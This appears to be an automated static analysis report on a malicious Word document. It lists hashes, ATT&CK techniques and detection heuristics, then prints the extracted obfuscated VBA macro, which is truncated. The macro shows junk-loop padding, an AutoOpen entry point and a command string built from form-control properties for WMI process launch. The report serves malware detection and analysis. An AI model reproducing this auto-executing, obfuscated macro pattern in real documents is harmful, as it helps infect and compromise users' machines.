Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 0f329103ef682519…

MALICIOUS

Office (OLE)

142.0 KB Created: 2019-05-09 11:14:00 Authoring application: Microsoft Office Word First seen: 2020-05-25
MD5: 823785bb44134a053bdbcde036016d51 SHA-1: 17343e6225afcb52c81247fe46e77c148bbcdb33 SHA-256: 0f329103ef6825196acaae362b9e2c353145da8a42cc58e9dda80107e18ea174
282 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1059 Command and Scripting Interpreter T1105 Ingress Tool Transfer

The sample is a malicious Office document containing a VBA macro. The macro utilizes GetObject and CreateObject to launch the 'Win32_Process' WMI class, indicating an intent to execute arbitrary code. This is a common technique for downloading and executing further malicious payloads. The presence of an AutoOpen macro further supports its malicious nature.

Heuristics 8

  • ClamAV: Doc.Malware.Sagent-6972857-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Sagent-6972857-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 7772 bytes
SHA-256: 99a64718f7e763e7e7e61bacc0170ca02c2b18899daaa038be546c7a80128fdd
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "D87796"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "v40503"
Attribute VB_Base = "0{A469A894-A152-48DE-BCA7-6AFA796BB894}{259606F5-800C-42CD-A3D8-AC923731E1CA}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "D633813"

Attribute VB_Name = "Z_7790_1"

Attribute VB_Name = "l7781590"
Attribute VB_Base = "0{E87483F0-C076-4727-8A04-2DF38AA4BC35}{529BFAD8-E557-4CA9-ABA6-C388D3D113C2}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "X1645795"
Function i09595(u911308)
         While s63208 And J454638
 _
 _
 _
't86262i475526l18_472N112065
'n805409J19209_t362412Q662_0
 _
 _
 _
 _
'v7499312i23424T_84035o011062
      Wend
         While w996645 And H595152
 _
 _
 _
'I1311969w_0399p1988147A0879634
'm_196397w79648V385689Q24_564
 _
 _
 _
 _
'z1353841D332690Q54_68w462646
      Wend
         While B4530534 And k0481063
 _
 _
 _
'w90374h10_85T9807637l13_0456
'W3879_C83__268b663287j37627
 _
 _
 _
 _
'I212803l922528T931__20Y2155847
      Wend
Set i09595 = CVar(u911308)
         While j04255 And n0812797
 _
 _
 _
'U99_0239w71069A09619n5_1469
'Z6812_z12996i750_8_U993_6
 _
 _
 _
 _
'h1461002n09__7v4349689s01640
      Wend
         While O3761731 And B212248
 _
 _
 _
'o84072o121187F50356k7738870
'L_41582Y7_661Q01526Y9324723
 _
 _
 _
 _
'F_1_31_L921305n31643z4805852
      Wend
End Function
Sub _
autoopen()
On Error Resume Next
         While N3348051 And X6857025
 _
 _
 _
'j161_9L3388_3q602874j1258731
'n25_79m999235q1_62012s68689_
 _
 _
 _
 _
'X734037u00_59M9734944C32_3710
      Wend
         While h930132 And P_864559
 _
 _
 _
'r31498T68919Y_8083T21792
'Z70475i29927Z3_51378z88933
 _
 _
 _
 _
'N508717a56004i27241b695006
      Wend
Call b6192112
         While C4574_ And W330774
 _
 _
 _
's2875858J357913v4093969q970563
'i71_3635W949555X0_0814S126773
 _
 _
 _
 _
'S8314634C25_701o500971u397261
      Wend
         While E2795_82 And f13649
 _
 _
 _
'A5_88661V44865O745_501z86405
'z56245m600693O675798B9725_7
 _
 _
 _
 _
'u423__5J663619c05892_5f1043442
      Wend
         While A8125_23 And b4560043
 _
 _
 _
'j2_9540B8142___H9930583d5913409
'E204_26_u04610_T91464w2923938
 _
 _
 _
 _
'V48_8__0O15408z9413370k119_06
      Wend
End Sub


Attribute VB_Name = "f1_5660"
Function b6192112()
On Error Resume Next
         While f0_19132 And i562848_
 _
 _
 _
's8830765f54963I30_545t304148
'J8337954H97653u03401G0_7278
 _
 _
 _
 _
'J3_827K80395C02900A86581
      Wend
         While v28_392 And w46410_
 _
 _
 _
'X_5824P7273135l3_123N06_58
'n533_4_5b_83305i25921G44257
 _
 _
 _
 _
't25453i885187V6947230E24155_4
      Wend
         While D9900_ And p02812_
 _
 _
 _
'a_570453F_470313h82_9808Q43275
'M547112O46_0_4p5926996n2_69717
 _
 _
 _
 _
'j20327N65__97_w79644O08504
      Wend
r_489187 = v40503.W87442.ControlSource + l7781590.X_78495 + v40503.W87442.ControlTipText + l7781590.d20_1_90 + v40503.W87442.ControlTipText + v40503.W87442 + l7781590.c5_123 + v40503.W87442.ControlSource + v40503.W87442.ControlSource + l7781590.D323_47 + v40503.W87442 + l7781590.Z47757 + v40503.W87442
         While w02_54 And a4420480
 _
 _
 _
'm3725611C2431333h619840j_6510_
'U7_44795G82672K05286D79351
 _
 _
 _
 _
'r86426_j50750c9844_C638091_
      Wend
         While l26519 And p8015430
 _
 _
 _
'm592469_L9_20448r63519b599139
'j91723C9822162L24162I35994_
 _
 _
 _
 _
'u8684591Z55
... (truncated)